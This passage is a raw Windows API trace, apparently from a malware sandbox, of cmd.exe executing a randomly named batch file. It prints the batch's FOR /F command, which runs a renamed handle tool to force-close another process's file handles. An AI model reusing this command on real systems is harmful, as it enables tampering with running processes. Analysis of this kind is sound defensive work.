returned 0x6241a8 [0107.539] FindClose (in: hFindFile=0x6241a8 | out: hFindFile=0x6241a8) returned 1 [0107.539] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x20eafc | out: lpFindFileData=0x20eafc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6241a8 [0107.539] FindClose (in: hFindFile=0x6241a8 | out: hFindFile=0x6241a8) returned 1 [0107.539] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0107.539] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x20eafc | out: lpFindFileData=0x20eafc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6241a8 [0107.540] FindClose (in: hFindFile=0x6241a8 | out: hFindFile=0x6241a8) returned 1 [0107.540] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x20eafc | out: lpFindFileData=0x20eafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x6241a8 [0107.540] FindClose (in: hFindFile=0x6241a8 | out: hFindFile=0x6241a8) returned 1 [0107.540] GetProcessHeap () returned 0x610000 [0107.540] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x56) returned 0x6241a8 [0107.540] GetProcessHeap () returned 0x610000 [0107.540] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x634be0 | out: hHeap=0x610000) returned 1 [0107.541] _tell (_FileHandle=3) returned 78 [0107.541] _close (_FileHandle=3) returned 0 [0107.541] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f42c | out: _Buffer="\r\n") returned 2 [0107.541] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.541] GetFileType (hFile=0x7) returned 0x2 [0107.541] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.541] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f3ec | out: lpMode=0x20f3ec) returned 1 [0107.542] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.542] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f418, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f418*=0x2) returned 1 [0107.543] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0107.543] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0107.543] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f428 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0107.543] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x20f428 | out: _Buffer=">") returned 1 [0107.543] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.543] GetFileType (hFile=0x7) returned 0x2 [0107.543] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.544] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f3f0 | out: lpMode=0x20f3f0) returned 1 [0107.544] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.544] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x20f41c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x20f41c*=0x26) returned 1 [0107.544] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.544] GetFileType (hFile=0x7) returned 0x2 [0107.544] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.544] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f674 | out: lpMode=0x20f674) returned 1 [0107.545] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.545] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x610e28*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f6a0, lpReserved=0x0 | out: lpBuffer=0x610e28*, lpNumberOfCharsWritten=0x20f6a0*=0x2) returned 1 [0107.545] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x20f6ac | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0107.545] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.545] GetFileType (hFile=0x7) returned 0x2 [0107.545] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.545] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f66c | out: lpMode=0x20f66c) returned 1 [0107.546] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.546] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x20f698, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f698*=0x2d) returned 1 [0107.547] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f6cc | out: _Buffer="\r\n") returned 2 [0107.547] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.547] GetFileType (hFile=0x7) returned 0x2 [0107.548] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.548] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f68c | out: lpMode=0x20f68c) returned 1 [0107.548] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.548] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f6b8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f6b8*=0x2) returned 1 [0107.549] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0107.549] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0107.549] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0107.549] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0107.549] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0107.549] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0107.549] GetConsoleTitleW (in: lpConsoleTitle=0x20f23c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0107.550] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0107.550] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0107.550] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x20eff8, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x20eff0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x20eff0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0107.551] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20ed94 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0107.551] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x20ed94, lpFilePart=0x20ed90 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x20ed90*=0x0) returned 0x26 [0107.551] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0107.551] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x20eb10 | out: lpFindFileData=0x20eb10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6244e8 [0107.551] FindClose (in: hFindFile=0x6244e8 | out: hFindFile=0x6244e8) returned 1 [0107.551] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x20eb10 | out: lpFindFileData=0x20eb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6244e8 [0107.551] FindClose (in: hFindFile=0x6244e8 | out: hFindFile=0x6244e8) returned 1 [0107.551] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0107.552] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x20eb10 | out: lpFindFileData=0x20eb10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6244e8 [0107.552] FindClose (in: hFindFile=0x6244e8 | out: hFindFile=0x6244e8) returned 1 [0107.552] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0107.552] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0107.552] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0107.552] GetProcessHeap () returned 0x610000 [0107.552] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627728 | out: hHeap=0x610000) returned 1 [0107.552] GetEnvironmentStringsW () returned 0x626b78* [0107.552] GetProcessHeap () returned 0x610000 [0107.552] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xba8) returned 0x627728 [0107.552] FreeEnvironmentStringsW (penv=0x626b78) returned 1 [0107.552] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0107.552] GetProcessHeap () returned 0x610000 [0107.552] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624488 | out: hHeap=0x610000) returned 1 [0107.552] GetProcessHeap () returned 0x610000 [0107.552] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624428 | out: hHeap=0x610000) returned 1 [0107.552] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.552] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0107.552] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.552] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0107.553] _get_osfhandle (_FileHandle=0) returned 0x3 [0107.553] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0107.553] SetConsoleInputExeNameW () returned 0x1 [0107.553] GetConsoleOutputCP () returned 0x1b5 [0107.553] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0107.553] SetThreadUILanguage (LangId=0x0) returned 0x409 [0107.553] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x20f674, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0107.554] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0107.554] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.554] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0107.554] GetProcessHeap () returned 0x610000 [0107.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6243b8 | out: hHeap=0x610000) returned 1 [0107.554] GetProcessHeap () returned 0x610000 [0107.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624348 | out: hHeap=0x610000) returned 1 [0107.554] GetProcessHeap () returned 0x610000 [0107.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6242d8 | out: hHeap=0x610000) returned 1 [0107.554] GetProcessHeap () returned 0x610000 [0107.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624268 | out: hHeap=0x610000) returned 1 [0107.554] GetProcessHeap () returned 0x610000 [0107.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x610e20 | out: hHeap=0x610000) returned 1 [0107.554] GetProcessHeap () returned 0x610000 [0107.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624208 | out: hHeap=0x610000) returned 1 [0107.554] GetProcessHeap () returned 0x610000 [0107.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6241a8 | out: hHeap=0x610000) returned 1 [0107.554] GetProcessHeap () returned 0x610000 [0107.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x611240 | out: hHeap=0x610000) returned 1 [0107.554] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.554] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0107.554] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x20f658, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x20f658*=0x94, lpOverlapped=0x0) returned 1 [0107.554] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0107.555] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.555] GetFileType (hFile=0x78) returned 0x1 [0107.555] _get_osfhandle (_FileHandle=3) returned 0x78 [0107.555] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0107.555] GetProcessHeap () returned 0x610000 [0107.555] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x634be0 [0107.555] GetProcessHeap () returned 0x610000 [0107.555] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4008) returned 0x638bf8 [0107.556] GetProcessHeap () returned 0x610000 [0107.556] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe) returned 0x610e20 [0107.556] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"trademarksnominationbrighton.exe\"") returned 0x22 [0107.556] GetProcessHeap () returned 0x610000 [0107.556] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x610e20 | out: hHeap=0x610000) returned 1 [0107.556] GetProcessHeap () returned 0x610000 [0107.556] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x638bf8 | out: hHeap=0x610000) returned 1 [0107.556] GetProcessHeap () returned 0x610000 [0107.556] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x634be0 | out: hHeap=0x610000) returned 1 [0107.557] GetProcessHeap () returned 0x610000 [0107.557] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x61f500, Size=0x3c) returned 0x624250 [0107.557] GetProcessHeap () returned 0x610000 [0107.557] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624250) returned 0x3c [0107.560] _tell (_FileHandle=3) returned 226 [0107.560] _close (_FileHandle=3) returned 0 [0107.560] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f42c | out: _Buffer="\r\n") returned 2 [0107.560] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.560] GetFileType (hFile=0x7) returned 0x2 [0107.560] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.560] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f3ec | out: lpMode=0x20f3ec) returned 1 [0107.561] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.561] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f418, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f418*=0x2) returned 1 [0107.562] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0107.562] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0107.562] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f428 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0107.562] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x20f428 | out: _Buffer=">") returned 1 [0107.562] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.562] GetFileType (hFile=0x7) returned 0x2 [0107.563] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.563] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f3f0 | out: lpMode=0x20f3f0) returned 1 [0107.563] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.563] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x20f41c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x20f41c*=0x26) returned 1 [0107.563] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x20f6ac | out: _Buffer="FOR") returned 3 [0107.563] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.564] GetFileType (hFile=0x7) returned 0x2 [0107.564] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.564] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f66c | out: lpMode=0x20f66c) returned 1 [0107.564] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.564] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x20f698, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f698*=0x3) returned 1 [0107.564] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x20f6ac | out: _Buffer=" /F") returned 3 [0107.564] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.564] GetFileType (hFile=0x7) returned 0x2 [0107.565] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.565] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f66c | out: lpMode=0x20f66c) returned 1 [0107.565] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.565] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x20f698, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f698*=0x3) returned 1 [0107.565] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x20f6ac | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0107.565] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.565] GetFileType (hFile=0x7) returned 0x2 [0107.566] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.566] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f66c | out: lpMode=0x20f66c) returned 1 [0107.566] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.566] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x20f698, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f698*=0x20) returned 1 [0107.566] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x20f6ac | out: _Buffer=" %I IN ") returned 7 [0107.566] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.566] GetFileType (hFile=0x7) returned 0x2 [0107.567] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.567] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f66c | out: lpMode=0x20f66c) returned 1 [0107.567] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.567] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x20f698, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f698*=0x7) returned 1 [0107.568] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x20f6a8 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner`) DO ") returned 77 [0107.568] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.568] GetFileType (hFile=0x7) returned 0x2 [0107.569] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.569] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f668 | out: lpMode=0x20f668) returned 1 [0107.569] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.569] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x20f694, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f694*=0x4d) returned 1 [0107.570] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.570] GetFileType (hFile=0x7) returned 0x2 [0107.570] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.570] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f674 | out: lpMode=0x20f674) returned 1 [0107.571] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.571] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x20f6a0, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x20f6a0*=0x1) returned 1 [0107.571] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.571] GetFileType (hFile=0x7) returned 0x2 [0107.571] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.571] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f658 | out: lpMode=0x20f658) returned 1 [0107.572] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.572] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x61f508*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x20f684, lpReserved=0x0 | out: lpBuffer=0x61f508*, lpNumberOfCharsWritten=0x20f684*=0xc) returned 1 [0107.572] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x20f690 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0107.572] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.572] GetFileType (hFile=0x7) returned 0x2 [0107.572] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.572] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f650 | out: lpMode=0x20f650) returned 1 [0107.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.573] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x20f67c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f67c*=0x26) returned 1 [0107.573] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x20f6ac | out: _Buffer=") ") returned 2 [0107.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.573] GetFileType (hFile=0x7) returned 0x2 [0107.573] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.573] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f66c | out: lpMode=0x20f66c) returned 1 [0107.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.573] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f698, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f698*=0x2) returned 1 [0107.574] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f6cc | out: _Buffer="\r\n") returned 2 [0107.574] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.574] GetFileType (hFile=0x7) returned 0x2 [0107.574] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.574] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f68c | out: lpMode=0x20f68c) returned 1 [0107.574] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.574] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f6b8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f6b8*=0x2) returned 1 [0107.576] GetProcessHeap () returned 0x610000 [0107.576] RtlAllocateHeap 